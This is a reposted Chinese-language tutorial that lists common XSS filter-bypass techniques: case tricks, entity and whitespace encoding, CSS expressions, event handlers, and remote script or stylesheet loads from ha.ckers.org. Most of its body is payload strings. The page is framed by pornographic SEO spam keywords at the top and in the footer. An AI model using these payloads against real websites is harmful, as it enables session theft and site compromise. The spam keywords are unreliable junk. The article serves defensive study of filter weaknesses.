成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

XSS的常見變換--XSS攻擊發展

安全 應用安全
XSS不具有瀏覽器通用性。不同的瀏覽器對同一XSS的適用不一樣。相比較而言,IE8和Firefox相對更安全,本身就對XSS攻擊有更嚴格的過濾。而IE6的安全性一般,即使攻擊者的代碼有些“變形”,瀏覽器還是會“盡力而為”的解析。

XSS不具有瀏覽器通用性。不同的瀏覽器對同一XSS的適用不一樣。相比較而言,IE8和Firefox相對更安全,本身就對XSS攻擊有更嚴格的過濾。而IE6的安全性一般,即使攻擊者的代碼有些“變形”,瀏覽器還是會“盡力而為”的解析。而其他的一些瀏覽器如opera,XSS安全處理可能做得更差。

本文基本上是在IE6的基礎上給大家分析XSS的變形和繞過。以便大家有針對性的防護。作者參閱了互聯網上一些XSS攻防實戰的例子,匯總成此文。

一、具體內容

XSS的一般原始構造:

<script>alert("anyunix")</script>

上述構造方式由于太過直接而容易被過濾,實際上,針對不同站點的不同過濾機制,對原始構造的適當變形有時就能繞過不少對XSS的檢測。

二、發展

1:很簡單,大家都知道會把<script>過濾掉,卻往往忽略了大小寫:

<sCripT>alert("anyunix")</Script>

2:<script>徹底被過濾了也不要緊,很多對象可以支持“javascript:”的形式代碼執行:

<IMG SRC=javascript:alert("anyunix")>

3:當簡單的"javascript"形式也被徹底過濾后。我們發現很多對象支持“&#ASCII”的表示方法,

<img src=j&#97vascript:alert("anyunix")>

<img src=j&#97;vascript:alert('anyunix')>

<img src=j&#x61vascript:alert('anyunix')>

<img src=j&#x61;vascript:alert('anyunix')>

&#97可以寫成&#097,&#0097直至&#0000097也是可以執行的。

&#x61也是可以寫成&#061,&#0061直至&#000061的。

4:如果上述編碼亦被還原過濾,可以填入空格、制表符、換行符等空白字符:

<IMG SRC="jav ascript:alert('anyunix');">

5:也可以嵌入編碼過后的TAB鍵等,char09,char10,char13都可以被嵌入:

<IMG SRC="jav&#x09;ascript:alert('anyunix');">

<IMG SRC="jav&#x0A;ascript:alert('anyunix');">

<IMG SRC="jav&#x0D;ascript:alert('anyunix');">

6:當直接用“javascript”終于被徹底禁絕,我們還可以使用其他屬性執行XSS。

<DIV STYLE="width:expression(alert('anyunix'));">

<IMG SRC='vbscript:msgbox("anyunix")'>

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

7:然后,理所當然衍生了新的繞過方式和利用形式。

A):插入注釋/*....*/做干擾

<IMG STYLE="xss:expr/*XSS*/ession(alert('anyunix'))">

B):全角字符的干擾

<DIV STYLE="width:expression(alert('anyunix'));">

C):“\”的干擾

<STYLE>@im\po\rt'http://ha.ckers.org/xss.css';</STYLE>

8:如果直接執行被完全過濾,那我們就利用事件來執行XSS

<img src="#"onerror=alert('anyunix')>

<img src=http://images.51cto.com/files/uploadimg/20130407/1014480.png"onmousemove=alert(163)>

<BODY ONLOAD=alert('anyunix')>

<isindex type=imagesrc=1onerror=alert('anyunix')>

9:flash可以用來執行XSS

<EMBED SRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>

10:也可以利用各種其他標簽

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<LINK REL="stylesheet"HREF="http://ha.ckers.org/xss.css">

<TABLE BACKGROUND="javascript:alert('XSS')">

其他的一些用于混淆、干擾和繞過的bypass實例:

<SCRIPTa=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPTa=">'>"SRC="http://ha.ckers.org/xss.js"></SCRIPT>

perl-e'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";'>out

<IMG SRC="&#14; javascript:alert('XSS');">

如上,就是一些比較常見和實用的XSS繞過方法。在實際的運用中,往往是多種方法結合起來。

更多更詳盡的XSS測試腳本,可參見http://ha.ckers.org/xss.html建議參閱《OWASP測試指南》,對一些相關的web安全知識做全面的了解。

By:anyunix

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2010-09-13 10:14:30

2013-07-26 14:59:13

2017-05-16 14:25:28

2017-09-19 15:45:39

2011-04-14 12:33:43

2020-11-30 23:37:48

ReactXSS攻擊網絡攻擊

2013-01-11 17:33:46

2010-08-30 11:15:38

2013-05-28 14:18:04

2012-12-24 11:10:11

2011-08-30 14:48:02

2021-06-30 07:25:35

開發JavaXSS

2024-09-27 08:25:47

2016-09-29 14:03:06

2023-01-18 12:02:36

2019-02-25 22:46:39

2018-10-11 15:20:02

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2013-05-22 18:06:41

2017-06-14 16:08:31

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲一区二区久久 | 精品亚洲一区二区三区 | 亚洲精品一区二区在线 | 亚洲激情综合 | 99精品久久久久久 | 伦理片97| 国产日韩欧美激情 | 国内自拍真实伦在线观看 | 久久久www成人免费无遮挡大片 | 久草免费在线视频 | 爱爱视频网 | 午夜影晥 | 精品国产乱码久久久久久蜜臀 | 99久热| 国产一区二区三区免费 | 瑟瑟激情| 亚洲欧美综合 | 正在播放国产精品 | 日韩高清国产一区在线 | 色综合久久88色综合天天 | 久久er99热精品一区二区 | 日韩中文在线观看 | 久久久青草 | 亚洲天堂一区二区 | 天天操天天摸天天爽 | 日韩一区二区三区精品 | 小草久久久久久久久爱六 | 在线视频日韩 | 日韩美女一区二区三区在线观看 | 美女黄色在线观看 | 欧美成人免费 | 成人3d动漫一区二区三区91 | 午夜欧美 | 成人深夜小视频 | 一区二区三区中文 | 黑人巨大精品欧美一区二区免费 | 久久久91精品国产一区二区三区 | 亚洲一区中文字幕 | 亚洲午夜精品视频 | 亚洲国产成人av | 九一国产精品 |